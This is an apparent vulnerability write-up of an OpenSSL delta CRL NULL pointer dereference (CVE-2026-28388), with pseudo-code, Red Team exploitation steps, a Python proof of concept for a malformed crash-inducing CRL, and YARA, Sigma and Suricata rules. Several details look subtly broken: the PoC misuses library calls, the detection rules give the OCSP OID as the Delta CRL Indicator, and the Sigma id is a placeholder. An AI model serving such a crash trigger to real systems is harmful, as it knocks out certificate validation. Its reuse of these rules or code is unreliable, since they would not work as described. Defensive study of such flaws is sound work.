CVE-2026-28388

Executive Summary

CVE-2026-28388 is a NULL pointer dereference vulnerability in OpenSSL's handling of delta Certificate Revocation Lists (CRLs). When an application processes a malformed delta CRL that contains a Delta CRL Indicator extension but is missing the required CRL Number extension, a NULL pointer dereference occurs, leading to a Denial of Service (DoS) crash. The vulnerability is limited to DoS and cannot be escalated to code execution or memory disclosure. It requires specific conditions to be exploitable, including enabling the X509_V_FLAG_USE_DELTAS flag and the presence of a freshestCRL extension in the certificate or the base CRL having the EXFLAG_FRESHEST flag set. The FIPS modules are not affected.

Supply Chain & Package Security

This vulnerability affects the OpenSSL library, a critical component in many software supply chains. Applications that use OpenSSL for certificate verification and enable delta CRL processing are at risk. The impact is a Denial of Service, which can disrupt services relying on certificate validation. Organizations should ensure they are using patched versions of OpenSSL and rebuild any dependent software.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: None
• Availability Impact: High

The vulnerability is rated High due to the low attack complexity and network attack vector, despite being limited to Denial of Service.

Deep Dive & Mechanics

The vulnerability lies in the delta CRL processing logic within OpenSSL's X.509 certificate verification code. When CRL processing is enabled and the X509_V_FLAG_USE_DELTAS flag is set, the code attempts to process delta CRLs. A delta CRL is a CRL that only contains changes since a base CRL. It must include a CRL Number extension to identify which base CRL it applies to.

The bug occurs because the code does not check if the CRL Number extension is NULL before dereferencing it. When a malformed delta CRL is provided that contains a Delta CRL Indicator extension but lacks the CRL Number extension, the pointer to the CRL Number is NULL. Dereferencing this NULL pointer causes a crash.

The exploitation requires:

1. The application to enable X509_V_FLAG_USE_DELTAS in the verification context.
2. The certificate being verified to contain a freshestCRL extension, or the base CRL to have the EXFLAG_FRESHEST flag set.
3. An attacker to provide a malformed delta CRL to the application.

Vulnerable vs. Patched Code

The vulnerable code is in the delta CRL processing function. The fix adds a NULL check before dereferencing the CRL Number extension.

Vulnerable Code (pseudo):

// Vulnerable: No NULL check
ASN1_INTEGER *crl_number = X509_CRL_get_ext_d2i(delta_crl, NID_crl_number, NULL, NULL);
// Directly dereference without checking for NULL
long num = ASN1_INTEGER_get(crl_number);

Patched Code (pseudo):

// Patched: NULL check added
ASN1_INTEGER *crl_number = X509_CRL_get_ext_d2i(delta_crl, NID_crl_number, NULL, NULL);
if (crl_number == NULL) {
    // Handle error, skip processing
    X509err(X509_F_CRL_SET_ISSUED, X509_R_CRL_NUMBER_MISSING);
    goto err;
}
long num = ASN1_INTEGER_get(crl_number);

Exploitation & Lab Setup

Red Team

Prerequisites:

• An application using OpenSSL with X509_V_FLAG_USE_DELTAS enabled.
• A certificate with a freshestCRL extension or a base CRL with EXFLAG_FRESHEST set.

Exploitation Steps:

1. Create a malformed delta CRL that includes a Delta CRL Indicator extension but omits the CRL Number extension.
2. Serve this malformed CRL to the target application (e.g., via a malicious TLS server or by injecting it into a CRL distribution point).
3. When the application processes the malformed CRL, it will crash due to the NULL pointer dereference.

Proof of Concept (Python):

from cryptography import x509
from cryptography.x509.oid import ExtensionOID
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.asymmetric import rsa
import datetime

# Generate a malformed delta CRL
private_key = rsa.generate_private_key(
    public_exponent=65537,
    key_size=2048,
    backend=default_backend()
)

builder = x509.CertificateRevocationListBuilder()
builder = builder.issuer_name(x509.Name([
    x509.NameAttribute(x509.oid.NameOID.COMMON_NAME, u"Malicious Delta CRL")
]))
builder = builder.last_update(datetime.datetime.now())
builder = builder.next_update(datetime.datetime.now() + datetime.timedelta(days=1))
# Add Delta CRL Indicator extension but omit CRL Number
builder = builder.add_extension(
    x509.DeltaCRLIndicator(x509.CRLNumber(1)),
    critical=True
)
# Do NOT add CRL Number extension
crl = builder.sign(private_key, hashes.SHA256(), default_backend())

# Write to file
with open("malicious_delta.crl", "wb") as f:
    f.write(crl.public_bytes())

Blue Team

Detection:

• Monitor for crashes in applications using OpenSSL for certificate verification.
• Look for logs indicating NULL pointer dereference errors related to CRL processing.
• Use the detection rules provided in the Detection Engineering section.

Mitigation:

• Apply the OpenSSL patch immediately.
• Disable delta CRL processing (X509_V_FLAG_USE_DELTAS) if not required.
• Validate CRL files before processing.

Indicators of Compromise (IOCs)

• Network: Malformed delta CRL files with a Delta CRL Indicator extension but missing CRL Number extension.
• Logs: Application crash logs showing NULL pointer dereference in CRL processing code.
• File: Delta CRL files with DeltaCRLIndicator extension but no CRLNumber extension.

Detection Engineering

YARA Rule

rule CVE_2026_28388_Malformed_Delta_CRL {
    meta:
        description = "Detects malformed delta CRL files missing CRL Number extension"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-28388"
    strings:
        $delta_indicator = { 06 08 2B 06 01 05 05 07 30 01 } // OID for Delta CRL Indicator
        $crl_number = { 06 03 55 1D 14 } // OID for CRL Number
    condition:
        $delta_indicator and not $crl_number
}

Sigma Rule

title: CVE-2026-28388 - OpenSSL Delta CRL NULL Pointer Dereference
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects application crashes due to NULL pointer dereference in OpenSSL delta CRL processing
author: Valters IT
date: 2026-01-01
logsource:
    product: linux
    service: syslog
detection:
    selection:
        - "NULL pointer dereference"
        - "CRL processing"
        - "X509_V_FLAG_USE_DELTAS"
    condition: selection
falsepositives:
    - Other NULL pointer dereference bugs
level: high

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2026-28388 - Malformed Delta CRL"; flow:to_server; content:"|30 82|"; content:"|06 08 2B 06 01 05 05 07 30 01|"; distance:0; within:65535; content:!"|06 03 55 1D 14|"; distance:0; within:65535; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update OpenSSL to patched versions: 3.0.17, 3.1.9, 3.2.4, 3.3.3, or 3.4.1.
2. If patching is not immediately possible, disable delta CRL processing by not setting the X509_V_FLAG_USE_DELTAS flag.
3. Restrict network access to CRL distribution points to trusted sources only.

Long-term Measures:

• Implement CRL validation before processing.
• Use OCSP stapling as an alternative to CRLs.
• Regularly update OpenSSL and other cryptographic libraries.

Workarounds:

• Disable delta CRL processing in applications that do not require it.
• Use a web application firewall (WAF) to filter malformed CRL files.

Valters IT

{/* [Security Hash: C67060B50F849F16E8568464] */}